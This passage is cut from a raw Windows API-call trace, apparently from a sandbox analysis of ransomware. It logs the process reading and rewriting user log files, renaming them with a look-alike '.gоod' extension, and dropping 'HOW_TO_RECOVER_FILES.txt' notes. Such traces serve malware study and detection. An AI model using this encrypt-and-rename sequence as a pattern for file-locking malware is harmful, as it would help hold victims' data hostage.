ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe50)) returned 1 [0209.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0209.143] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\powershell.exe.log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\powershell.exe.log.gоod")) returned 1 [0209.144] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log", lpFilePart=0x0) returned 0x4d [0209.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0209.144] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\sdiagnhost.exe.log"), fInfoLevelId=0x0, lpFileInformation=0x3532460 | out: lpFileInformation=0x3532460*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x4005dd03, ftLastAccessTime.dwHighDateTime=0x1d3272c, ftLastWriteTime.dwLowDateTime=0xe0737866, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x16bc)) returned 1 [0209.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0209.145] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log", lpFilePart=0x0) returned 0x4d [0209.145] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0209.145] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\sdiagnhost.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0209.145] GetFileType (hFile=0x820) returned 0x1 [0209.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0209.145] GetFileType (hFile=0x820) returned 0x1 [0209.145] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x1000 [0209.145] ReadFile (in: hFile=0x820, lpBuffer=0x35328d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec668, lpOverlapped=0x0 | out: lpBuffer=0x35328d8*, lpNumberOfBytesRead=0x207ec668*=0x6bc, lpOverlapped=0x0) returned 1 [0209.146] CloseHandle (hObject=0x820) returned 1 [0209.147] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log", lpFilePart=0x0) returned 0x4d [0209.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0209.147] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\sdiagnhost.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0209.147] GetFileType (hFile=0x820) returned 0x1 [0209.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0209.147] GetFileType (hFile=0x820) returned 0x1 [0209.147] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x207ec698*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x207ec698*=0) returned 0x16bc [0209.147] WriteFile (in: hFile=0x820, lpBuffer=0x3533ba8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x207ec588, lpOverlapped=0x0 | out: lpBuffer=0x3533ba8*, lpNumberOfBytesWritten=0x207ec588*=0x10, lpOverlapped=0x0) returned 1 [0209.147] CloseHandle (hObject=0x820) returned 1 [0209.147] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log", lpFilePart=0x0) returned 0x4d [0209.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0209.147] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\sdiagnhost.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0209.147] GetFileType (hFile=0x820) returned 0x1 [0209.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0209.148] GetFileType (hFile=0x820) returned 0x1 [0209.148] ReadFile (in: hFile=0x820, lpBuffer=0x3535e80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec618, lpOverlapped=0x0 | out: lpBuffer=0x3535e80*, lpNumberOfBytesRead=0x207ec618*=0x1000, lpOverlapped=0x0) returned 1 [0209.185] CloseHandle (hObject=0x820) returned 1 [0209.185] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log", nBufferLength=0x105, lpBuffer=0x207ec020, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log", lpFilePart=0x0) returned 0x4d [0209.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec540) returned 1 [0209.185] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\sdiagnhost.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0209.185] GetFileType (hFile=0x820) returned 0x1 [0209.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec4b0) returned 1 [0209.185] GetFileType (hFile=0x820) returned 0x1 [0209.185] WriteFile (in: hFile=0x820, lpBuffer=0x3534bc0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x207ec6c8, lpOverlapped=0x0 | out: lpBuffer=0x3534bc0*, lpNumberOfBytesWritten=0x207ec6c8*=0x1010, lpOverlapped=0x0) returned 1 [0209.186] CloseHandle (hObject=0x820) returned 1 [0209.186] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log", lpFilePart=0x0) returned 0x4d [0209.186] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log.gоod", lpFilePart=0x0) returned 0x52 [0209.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0209.186] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\sdiagnhost.exe.log"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x4005dd03, ftLastAccessTime.dwHighDateTime=0x1d3272c, ftLastWriteTime.dwLowDateTime=0x78e53573, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x16cc)) returned 1 [0209.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0209.186] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\sdiagnhost.exe.log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\sdiagnhost.exe.log.gоod")) returned 1 [0209.189] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ec2e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x53 [0209.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec800) returned 1 [0209.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0209.629] GetFileType (hFile=0x828) returned 0x1 [0209.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec770) returned 1 [0209.629] GetFileType (hFile=0x828) returned 0x1 [0209.629] WriteFile (in: hFile=0x828, lpBuffer=0x3615898*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ec8c8, lpOverlapped=0x0 | out: lpBuffer=0x3615898*, lpNumberOfBytesWritten=0x207ec8c8*=0x5d0, lpOverlapped=0x0) returned 1 [0209.630] CloseHandle (hObject=0x828) returned 1 [0209.630] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x207ecd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0209.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed230) returned 1 [0209.630] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0209.632] GetFileType (hFile=0x828) returned 0x1 [0209.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1a0) returned 1 [0209.632] GetFileType (hFile=0x828) returned 0x1 [0209.633] WriteFile (in: hFile=0x828, lpBuffer=0x3619110*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ed2f8, lpOverlapped=0x0 | out: lpBuffer=0x3619110*, lpNumberOfBytesWritten=0x207ed2f8*=0x5d0, lpOverlapped=0x0) returned 1 [0209.634] CloseHandle (hObject=0x828) returned 1 [0209.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0209.634] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32", lpFilePart=0x0) returned 0x33 [0209.634] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0209.634] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.634] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0a8278, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngen.log", cAlternateFileName="")) returned 1 [0209.635] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8e0ce49a, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0209.635] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8e0ce49a, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 0 [0209.635] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0209.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0209.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0209.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0209.635] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32", lpFilePart=0x0) returned 0x33 [0209.635] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0209.635] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.635] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0a8278, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngen.log", cAlternateFileName="")) returned 1 [0209.636] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8e0ce49a, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0209.636] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.636] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0209.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0209.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0209.636] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\ngen.log", nBufferLength=0x105, lpBuffer=0x207ecba0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\ngen.log", lpFilePart=0x0) returned 0x3c [0209.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed070) returned 1 [0209.636] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\ngen.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\ngen.log"), fInfoLevelId=0x0, lpFileInformation=0x3628590 | out: lpFileInformation=0x3628590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0a8278, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x14d)) returned 1 [0209.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed030) returned 1 [0209.639] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\ngen.log", nBufferLength=0x105, lpBuffer=0x207eca00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\ngen.log", lpFilePart=0x0) returned 0x3c [0209.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ecf20) returned 1 [0209.639] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\ngen.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\ngen.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0209.639] GetFileType (hFile=0x828) returned 0x1 [0209.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ece90) returned 1 [0209.639] GetFileType (hFile=0x828) returned 0x1 [0209.639] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x207ed0c8 | out: lpFileSizeHigh=0x207ed0c8*=0x0) returned 0x14d [0209.639] ReadFile (in: hFile=0x828, lpBuffer=0x3628958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ecff8, lpOverlapped=0x0 | out: lpBuffer=0x3628958*, lpNumberOfBytesRead=0x207ecff8*=0x14d, lpOverlapped=0x0) returned 1 [0209.640] CloseHandle (hObject=0x828) returned 1 [0213.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ecf20) returned 1 [0213.127] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\ngen.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\ngen.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0213.128] GetFileType (hFile=0x81c) returned 0x1 [0213.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ece90) returned 1 [0213.128] GetFileType (hFile=0x81c) returned 0x1 [0213.128] WriteFile (in: hFile=0x81c, lpBuffer=0x35e62e8*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x207ecf08, lpOverlapped=0x0 | out: lpBuffer=0x35e62e8*, lpNumberOfBytesWritten=0x207ecf08*=0x150, lpOverlapped=0x0) returned 1 [0213.555] CloseHandle (hObject=0x81c) returned 1 [0213.555] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\ngen.log", nBufferLength=0x105, lpBuffer=0x207ecba0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\ngen.log", lpFilePart=0x0) returned 0x3c [0213.555] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\ngen.log.gоod", nBufferLength=0x105, lpBuffer=0x207ecba0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\ngen.log.gоod", lpFilePart=0x0) returned 0x41 [0213.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed030) returned 1 [0213.555] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\ngen.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\ngen.log"), fInfoLevelId=0x0, lpFileInformation=0x207ed110 | out: lpFileInformation=0x207ed110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x7b80ec23, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x150)) returned 1 [0213.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ecff0) returned 1 [0213.555] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\ngen.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\ngen.log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\ngen.log.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\ngen.log.gоod")) returned 1 [0213.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec890) returned 1 [0213.556] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs", nBufferLength=0x105, lpBuffer=0x207ec330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs", lpFilePart=0x0) returned 0x3d [0213.556] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\*", lpFindFileData=0x207ec5b0 | out: lpFindFileData=0x207ec5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e0ce49a, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8e0ce49a, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xb86d2dbd, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", 